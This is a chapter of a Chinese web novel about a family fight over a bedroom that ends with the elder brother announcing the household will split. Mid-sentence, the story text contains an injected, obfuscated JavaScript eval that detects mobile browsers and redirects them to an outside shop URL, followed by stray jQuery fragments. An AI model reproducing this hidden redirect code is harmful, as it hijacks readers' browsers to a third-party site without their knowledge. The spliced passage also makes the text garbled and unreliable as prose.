林松覆满肥肉的手握成拳,把新打的卧房门给敲得砰砰作响。
“出来,你出来,这是我的房间,凭啥子给你住!”
“砰砰砰——”
林松竖着眉毛敲了十来下,房门巍然不动,里头的人半点没有出来的迹象,也没有出声搭理他。
小胖子只得把矛头对准做出这个决定的亲爹,“爹,凭啥子把我的房间给他嘛!我不管,你让他出来。”
“我咋让他出来嘛!”林明一个头两个大,怒道:“你好手好脚的都敲不开门,我脚杆恁个吊吊起,未必还打得开啊?”
“我不管,你想办法,必须让他出来,他一身滂臭,把我房间都熏臭了。”
林松不依不饶地大喊,见林明无动于衷,眼珠一转又道:“你要是不把他喊出来,就是不疼我,等我以后当了官,我也不管你!”
林松的嗓门扯得很大,林镜在里头听得一清二楚。
听到林松说他一身滂臭,林镜枕着手臂闭眼冷笑。
从前他只当林松年纪小不懂事,说话不过脑子,对他缺了些对长辈该有的敬重。
如今才知道,人家打心底就嫌弃他这个二叔。
林镜不说有多洁癖,但就是寒冬腊月也会隔三岔五烧水洗个澡,夏日更是每日都会打井水冲凉,根本不存在身上有异味的情况。
而今才刚入二月,更别说一身滂臭。
心里想着事,外头那父子俩说了什么倒是没注意听,等了一会儿,门又被用力敲响。
“林二娃,你再不开门我撞了哈!”
林松说着,竟真的开始撞门,敦实的身躯撞在门上,抖落不少木屑。
一下不成,紧接着便是第二下,结果门突然打开,来不及收劲儿,小胖子就这么直直冲了进去,重重撞到另一堵墙上才停下来,可见力气有多大。
林镜挑眉,幸灾乐祸的看他一眼,很快又皱起眉,佯怒道:“做啥子?林二娃也是你喊的啊?你要翻天?”
“我……我好久喊林二娃了?”林松回头,瞥见林镜一脸冷意,自家爹脸色也不好,梗着脖子不敢承认:“我明明喊的二叔,你听错了。”
“呵。”林镜双手抱臂,倚靠在门板上,无所谓道:“听没听错无所谓,我就问你,要咋子。”
林松也总算反应过来,回归主题,“这是我的房间,你出来,让我住。”
“你的房间?”林镜侧头看向杵着竹竿的林明,“大哥,你倒是说说,这究竟是哪个的房间?”
林明:……
一边是突然转了性越发叛逆的弟弟,一边是他寄予厚望,还威胁不给他养老的儿子,两个都不是让人省心的主。
林明哽了半晌,最后艰难开口:“就两个房间,你们挤一挤算了。”
“挤不了。”两人想都没想,异口同声的拒绝。
林镜看了林松一眼,赶在他说话前道:“你弟媳妇也在这个房间,她一个姑娘家,咋个挤?”
“弟媳妇?”听到这话,林松顿时被转移了注意力,这才注意到房间里还有另外两个人。
在看清阿荔脸上那几道泛红的疤痕后,蹙着眉暗道一声丑鬼,又指着陈青安,不依不饶地大喊:“我住不得,那他安?”
“我?”陈青安指指自己,没想到这里还有他的事,“我还是个孩子,和我姐住一块儿有什么不对吗?况且还隔着帘子呢。”
“你还是孩子?你多大了?还是孩子?”林松听陈青安操着一口流利的官话,骤然想起自己还是个读书人,于是也改口用带着口音的官话问。
陈青安眼珠一转,回想起林镜曾给他介绍过家里的情况,知道林松今年十三岁,和他年纪相仿,于是便道:“我才十岁,怎么不是小孩儿了?”
听到这话,林松顿时狐疑起来,垫脚和陈青安比了比身高。
小胖子脚后跟全部离地,脚尖都快支撑不了圆滚滚的身体了,却还比陈青安低那么两指头,他狐疑道:“十岁?你和我差不多高,怎么可能才十岁?”
陈青安昂着下巴,坏心眼儿的也垫了垫脚,敛着眼皮俯视他,吊儿郎当的笑:“我天赋异禀,长得高点儿怎么啦?你以为都像你似的,跟个矮冬瓜一样,又圆又短。”
“你!”
“我,我怎么了?”陈青安挺起小胸脯,半点不惧面前又圆又短的矮冬瓜。
一旁邹氏见儿子吃瘪,就要凑上来扇陈青安,被林镜一个眼神吓了回去,“大嫂,娃儿些吵嘴,大人就不要插手了吧。”
说也说不过,打也打不过,邹氏偃旗息鼓,怕儿子吃亏,只得拉他的袖子,哄到:“幺儿,你睡娘亲那屋,娘亲给你打张大床,再整个帘子好不好?”
“不好!”林松不依不饶,“女大避父,儿大避母,我堂堂七尺男儿……”
话说到一半,陈青安突然上下打量他一眼,插话道:“七尺男儿,你有七尺吗?”
“你!”林松气急,伸出粗短的手指指着陈青安。
“我!”陈青安手指细长,不甘示弱的指回去。
“无知小儿,我懒得跟你说,总之我就是不同意,这房间是我的,你们若是不还给我,等我做了官,把你们都拉去砍了!”
“哎哟哟,我好怕怕哟,怎么办呀姐夫~”陈青安假模假势的拉着林镜的衣角,装出一副害怕的模样。
林镜抱着手臂没搭话,好整以暇的继续看戏。
这小家伙,真是林松的克星。
林松自觉把人唬住了,登时得意起来,两层下巴扬起拉成一条斜斜的直线,继续道:“怕了吧?怕了就乖乖……”
“怕?怕个屁!等你当上官儿再说吧!”陈青安啐他一口,“就你这不尊长辈的样子,就是考上了也别想当官儿,我姐是你未来二婶,我是你姻叔,你还砍我呢,我倒要看看,官老爷是砍你还是砍我!”
陈青安仗着自己是林镜未来小舅子的假身份,小嘴叭叭一顿输出,说得林松一愣一愣的。
好半晌,似乎反应过来对面是个硬茬子,他骂不过,干脆转变策略,开始嚎啕大哭,撒泼打滚儿起来。
除了邹氏和林明,其他几人都冷眼看着,任凭他把还沾着黑灰和浮土的地面给滚得干干净净。
邹氏俯身想拉他起来,结果手上劲儿没他大,反倒硬生生被带得摔倒在地。
小胖子继续打滚,一不小心滚过了头,竟把杵着拐的林明一下子给撞翻了。
一阵鸡飞狗跳过后,林明冒着冷汗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646372|206800||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,抱着被摔疼的伤腿,忍无可忍地怒喝:“够了!”
“分家!明天就分!”
“分家?”听到这话,邹氏和林松俱是一惊,不嚎也不滚了,齐齐侧头看向林明。
林松当即拍手叫好,“分家好啊,爹,喊他们现在就滚出去,把房间给我誊出来!”
“不行!”邹氏脑子还算清醒,知道分家了,以后就少了笔源源不断的收入来源,想都没想便脱口拒绝。
可情势如此,便是她劝得动自家男人,也劝不了目光短浅的林松。
见他娘不肯分家,林松又开始打滚,直闹到邹氏松口才停下。
目的终于达成,林镜却不想就这么顺这一家子的意。
他冷笑:“分家?可以啊,你们是大哥大嫂,我只分这一间屋就行,灶屋茅厕我在旁边另起。”
“那不行!”林松闹着要分家的目的就是为了这间屋子,要是让林镜给分了去,那这家不是白分了吗?“这是我家,没你的份!”
“有没有我的份,不是你说了算。”林镜瞥他一眼。
想了想,他决定再在林松脑袋上添把火,道:“就算要分家,也要等村长和林氏族老一同做决断,在这之前,这个房间还是我的。”
“不行!”林松还要再闹,被邹氏拉着好声好气地哄了半晌,再三保证一定把房子保住,让林镜搬出去。
又承诺等林镜搬走就把房间里里外外打扫一遍,再给他置办一套全新的家具,林松这才勉为其难停下来。
事情就这么说定,林镜多看这几个人一眼都嫌眼睛疼,砰地一下关上门,这才得了个清净。
堂屋里,林明席地靠坐在空无一物的屋子墙根儿,一脸颓丧地叹了口气。
怎么就弄成这个样子了呢?
从前……家里起火之前,不是一切都好好的吗?
林明虽说好吃懒做了些,但心里跟明镜儿一样。
他知道,这些年朝廷的苛捐杂税越来越重,银钱粮食也越来越难攒,家里还能过上村中人人羡慕的日子,都是林镜的功劳。
可从什么时候开始,连他也觉得弟弟的付出是理所应当,甚至觉得林镜做得还不够好的呢?
是从邹氏总说林镜好吃懒做开始,还是从林松嫌他抠抠搜搜,一身市侩气息开始呢?
或许都有,也或许都不是。
总之不管怎么说,林镜也不再甘心为这个家付出了,半个月来,甚至连一分钱也没有上交过,还自作主张带了个毁容的姑娘和拖油瓶回来。
也看得出来,那两个都不是什么善茬,留她们在家里,他都能想见往后的日子有多‘热闹’。
有了婆娘,林镜也不可能把赚到的钱上交,事到如今,唯有分家一条路可走。
他现在最应该想的是,该怎么尽可能的保住家里的财产。
想到这里,林明挣扎着爬起来,杵着拐杖一瘸一拐的往灶屋走去。
邹氏正在灶屋给林松煮鸡蛋吃,林明走过去,一家三口小声商议起来。
说起家产的事,邹氏跟做贼似的,时不时便伸长脖子看看堂屋大门,防止林镜出门来偷听。
“我今晚就把家里的钱藏起来,他想分钱,一文都没有!”